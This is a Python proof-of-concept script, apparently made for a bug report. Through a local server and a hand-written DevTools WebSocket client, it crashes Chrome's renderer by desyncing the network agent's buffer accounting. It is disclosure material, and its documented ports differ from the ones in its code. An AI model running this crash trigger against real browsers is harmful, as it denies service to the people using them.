#!/usr/bin/env python3
"""
POC for: NetworkResourcesData::EnsureFreeSpace over-pops Deque<String> after
Clear() desyncs content_size_ from request_ids_deque_.

Strategy:
  1. Serve two pages on localhost:8080 (page A auto-POSTs to page B).
  2. Connect to Chrome's --remote-debugging-port via raw WebSocket (stdlib only).
  3. Network.enable with maxTotalBufferSize == POST body size.
  4. Page.navigate to page A, which form-POSTs to page B.

Mechanism:
  - WillSendNavigationRequest stores the POST body (size N) under the *new*
    loader's id, pushing one entry onto request_ids_deque_ and setting
    content_size_ = N.
  - DidCommitLoad -> NetworkResourcesData::Clear(preserved_loader_id) clears
    the deque (capacity -> 0, buffer_ -> nullptr) but re-adds the preserved
    POST body to content_size_, leaving content_size_ = N with an empty,
    capacity-0 deque.
  - The first body chunk of page B (size M, with 0 < M <= N == maxTotal)
    reaches PrepareToAddResourceData -> EnsureFreeSpace(M).  Because
    content_size_ + M > maxTotal, the eviction loop runs and calls
    request_ids_deque_.TakeFirst() on a deque whose backing buffer pointer is
    nullptr -> renderer SEGV at address 0x0.

Usage:
  Terminal 1:  python3 server.py
  Terminal 2:  /path/to/out/asan/chrome --headless=new --disable-gpu \
                   --no-first-run --no-default-browser-check \
                   --user-data-dir=/tmp/poc-profile \
                   --remote-debugging-port=9222 \
                   --remote-allow-origins=* \
                   about:blank 2>&1 | tee /tmp/asan.log

  server.py polls for the debugging port, then drives the renderer.
"""

import argparse
import base64
import http.server
import json
import os
import socket
import socketserver
import struct
import sys
import threading
import time
import urllib.request

# ---------------------------------------------------------------------------
# Tunables
# ---------------------------------------------------------------------------

HTTP_PORT = 18080
CDP_PORT  = 19222

# Form encoding adds "p=" prefix (2 bytes).  We size things so that the
# encoded POST body length == maxTotalBufferSize EXACTLY:
#   - PrepareToAddResourceData accepts it (EnsureFreeSpace: size <= maxTotal)
#   - After Clear() preserves it, content_size_ == maxTotal with an empty deque
#   - Any positive M (with M <= maxTotal) then forces the eviction loop.
# maxResourceBufferSize is large so the per-resource limit never causes
# self-eviction before EnsureFreeSpace runs.
POST_VALUE_LEN          = 3998
POST_BODY_SIZE          = 2 + POST_VALUE_LEN          # "p=" + value
MAX_TOTAL_BUFFER_SIZE   = POST_BODY_SIZE
MAX_RESOURCE_BUFFER_SZ  = 1_000_000

# ---------------------------------------------------------------------------
# Pages
# ---------------------------------------------------------------------------

PAGE_A = (
    b"<!doctype html><meta charset=utf-8><title>A</title>"
    b"<form id=f method=POST action=/b>"
    b"<input type=hidden name=p value=\"" + (b"A" * POST_VALUE_LEN) + b"\">"
    b"</form><script>document.getElementById('f').submit();</script>"
)

# Keep page B's body well under MAX_TOTAL_BUFFER_SIZE so that the first
# DidReceiveData chunk satisfies (data_length <= maxTotal) yet
# (preserved_content + data_length > maxTotal).
PAGE_B = (
    b"<!doctype html><meta charset=utf-8><title>B</title>"
    b"<body>" + (b"B" * 256) + b"\n"
    b"<script>\n"
    b"// Backup trigger: a tiny POST whose body adds to content_size_ via\n"
    b"// ResourceCreated->PrepareToAddResourceData.\n"
    b"fetch('/x', {method:'POST', body:'q'.repeat(64)});\n"
    b"</script></body>"
)

assert len(PAGE_B) <= MAX_TOTAL_BUFFER_SIZE

class Handler(http.server.BaseHTTPRequestHandler):
    protocol_version = "HTTP/1.1"

    def _serve(self, body, ctype="text/html; charset=utf-8"):
        self.send_response(200)
        self.send_header("Content-Type", ctype)
        self.send_header("Content-Length", str(len(body)))
        self.send_header("Cache-Control", "no-store")
        self.end_headers()
        self.wfile.write(body)

    def do_GET(self):
        if self.path.startswith("/a"):
            self._serve(PAGE_A)
        elif self.path.startswith("/x"):
            self._serve(b"x", "text/plain")
        else:
            self._serve(b"<!doctype html><title>idx</title><a href=/a>go</a>")

    def do_POST(self):
        n = int(self.headers.get("Content-Length", "0"))
        if n:
            self.rfile.read(n)
        if self.path.startswith("/b"):
            self._serve(PAGE_B)
        else:
            self._serve(b"ok", "text/plain")

    def log_message(self, fmt, *args):
        sys.stderr.write("[http] " + (fmt % args) + "\n")


class TS(socketserver.ThreadingMixIn, http.server.HTTPServer):
    daemon_threads = True
    allow_reuse_address = True


def start_http():
    httpd = TS(("127.0.0.1", HTTP_PORT), Handler)
    t = threading.Thread(target=httpd.serve_forever, daemon=True)
    t.start()
    print(f"[+] HTTP server on http://127.0.0.1:{HTTP_PORT}/")
    return httpd


# ---------------------------------------------------------------------------
# Minimal RFC 6455 WebSocket client (stdlib only)
# ---------------------------------------------------------------------------

class WS:
    def __init__(self, url):
        # ws://host:port/path
        assert url.startswith("ws://")
        rest = url[len("ws://"):]
        hostport, _, path = rest.partition("/")
        host, _, port = hostport.partition(":")
        self.sock = socket.create_connection((host, int(port or 80)))
        key = base64.b64encode(os.urandom(16)).decode()
        req = (
            f"GET /{path} HTTP/1.1\r\n"
            f"Host: {hostport}\r\n"
            f"Upgrade: websocket\r\n"
            f"Connection: Upgrade\r\n"
            f"Sec-WebSocket-Key: {key}\r\n"
            f"Sec-WebSocket-Version: 13\r\n"
            f"\r\n"
        )
        self.sock.sendall(req.encode())
        # Read handshake response.
        data = b""
        while b"\r\n\r\n" not in data:
            chunk = self.sock.recv(4096)
            if not chunk:
                raise IOError("ws handshake closed")
            data += chunk
        if b"101" not in data.split(b"\r\n", 1)[0]:
            raise IOError("ws handshake failed: " + data.decode(errors="replace"))
        # Stash any over-read frame bytes.
        self._buf = data.split(b"\r\n\r\n", 1)[1]

    def _read(self, n):
        while len(self._buf) < n:
            chunk = self.sock.recv(65536)
            if not chunk:
                raise IOError("ws closed")
            self._buf += chunk
        out, self._buf = self._buf[:n], self._buf[n:]
        return out

    def send(self, text):
        payload = text.encode()
        mask = os.urandom(4)
        hdr = bytearray([0x81])  # FIN + text
        ln = len(payload)
        if ln < 126:
            hdr.append(0x80 | ln)
        elif ln < 65536:
            hdr.append(0x80 | 126)
            hdr += struct.pack(">H", ln)
        else:
            hdr.append(0x80 | 127)
            hdr += struct.pack(">Q", ln)
        hdr += mask
        masked = bytes(b ^ mask[i & 3] for i, b in enumerate(payload))
        self.sock.sendall(bytes(hdr) + masked)

    def recv(self):
        b0, b1 = self._read(2)
        opcode = b0 & 0x0F
        ln = b1 & 0x7F
        if ln == 126:
            ln = struct.unpack(">H", self._read(2))[0]
        elif ln == 127:
            ln = struct.unpack(">Q", self._read(8))[0]
        payload = self._read(ln)
        if opcode == 0x8:  # close
            raise IOError("ws close frame")
        return payload.decode(errors="replace")

    def close(self):
        try:
            self.sock.close()
        except Exception:
            pass


# ---------------------------------------------------------------------------
# CDP driver
# ---------------------------------------------------------------------------

class CDP:
    def __init__(self, ws_url):
        self.ws = WS(ws_url)
        self.id = 0

    def cmd(self, method, params=None, session=None):
        self.id += 1
        msg = {"id": self.id, "method": method, "params": params or {}}
        if session:
            msg["sessionId"] = session
        self.ws.send(json.dumps(msg))
        while True:
            resp = json.loads(self.ws.recv())
            if resp.get("id") == self.id:
                if "error" in resp:
                    raise RuntimeError(f"{method}: {resp['error']}")
                return resp.get("result", {})
            # else: event – ignore here.

    def wait_event(self, name, session=None, timeout=10):
        deadline = time.time() + timeout
        self.ws.sock.settimeout(timeout)
        while time.time() < deadline:
            try:
                m = json.loads(self.ws.recv())
            except Exception:
                return None
            if m.get("method") == name and (session is None or m.get("sessionId") == session):
                return m
        return None


def find_browser_ws():
    """Poll /json/version for the browser-level WebSocket URL."""
    url = f"http://127.0.0.1:{CDP_PORT}/json/version"
    for _ in range(120):
        try:
            with urllib.request.urlopen(url, timeout=1) as r:
                info = json.loads(r.read())
                return info["webSocketDebuggerUrl"]
        except Exception:
            time.sleep(0.5)
    raise RuntimeError("Chrome remote-debugging-port never came up")


def drive():
    ws_url = find_browser_ws()
    print(f"[+] CDP browser endpoint: {ws_url}")
    cdp = CDP(ws_url)

    # Create a fresh tab so the InspectorNetworkAgent is enabled before any
    # real navigation in that renderer.
    target = cdp.cmd("Target.createTarget", {"url": "about:blank"})
    tid = target["targetId"]
    sess = cdp.cmd("Target.attachToTarget", {"targetId": tid, "flatten": True})
    sid = sess["sessionId"]
    print(f"[+] Attached: target={tid} session={sid}")

    cdp.cmd("Page.enable", {}, session=sid)

    cdp.cmd("Network.enable", {
        "maxTotalBufferSize":    MAX_TOTAL_BUFFER_SIZE,
        "maxResourceBufferSize": MAX_RESOURCE_BUFFER_SZ,
        "maxPostDataSize":       1_000_000,
    }, session=sid)
    print(f"[+] Network.enable maxTotal={MAX_TOTAL_BUFFER_SIZE} "
          f"maxResource={MAX_RESOURCE_BUFFER_SZ}")

    cdp.cmd("Page.navigate", {"url": f"http://127.0.0.1:{HTTP_PORT}/a"},
            session=sid)
    print("[+] Navigated to /a (auto-POSTs to /b)")

    # Dump events for diagnosis.
    deadline = time.time() + 15
    cdp.ws.sock.settimeout(15)
    crashed = None
    while time.time() < deadline:
        try:
            m = json.loads(cdp.ws.recv())
        except Exception as e:
            print(f"[!] recv: {e}")
            break
        meth = m.get("method")
        if not meth:
            continue
        p = m.get("params", {})
        if meth == "Network.requestWillBeSent":
            req = p.get("request", {})
            print(f"[ev] requestWillBeSent id={p.get('requestId')} "
                  f"loader={p.get('loaderId')} url={req.get('url')} "
                  f"method={req.get('method')} "
                  f"hasPostData={req.get('hasPostData')} "
                  f"postDataLen={len(req.get('postData') or '')}")
        elif meth == "Network.dataReceived":
            print(f"[ev] dataReceived id={p.get('requestId')} "
                  f"len={p.get('dataLength')}")
        elif meth == "Page.frameNavigated":
            fr = p.get('frame', {})
            print(f"[ev] frameNavigated url={fr.get('url')} "
                  f"loader={fr.get('loaderId')}")
        elif meth in ("Inspector.targetCrashed", "Target.targetCrashed"):
            print(f"[ev] *** {meth}: {p}")
            crashed = m
            break
        elif meth == "Network.loadingFinished":
            print(f"[ev] loadingFinished id={p.get('requestId')}")
    ev = crashed
    if ev:
        print(f"[+] Renderer crashed: {json.dumps(ev['params'])}")
    else:
        print("[!] No targetCrashed event within timeout. "
              "Check the chrome stderr for the ASAN report; "
              "if the renderer is hung in the eviction loop, that is the "
              "secondary symptom of the same desync.")

    cdp.ws.close()


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--serve-only", action="store_true",
                    help="Only run the HTTP server (no CDP driver).")
    args = ap.parse_args()

    start_http()
    if args.serve_only:
        print("[+] --serve-only: not driving CDP.")
        threading.Event().wait()
        return

    print(f"[+] Waiting for Chrome on 127.0.0.1:{CDP_PORT} ...")
    drive()
    # Keep the HTTP server alive a bit so any late requests aren't refused.
    time.sleep(2)


if __name__ == "__main__":
    main()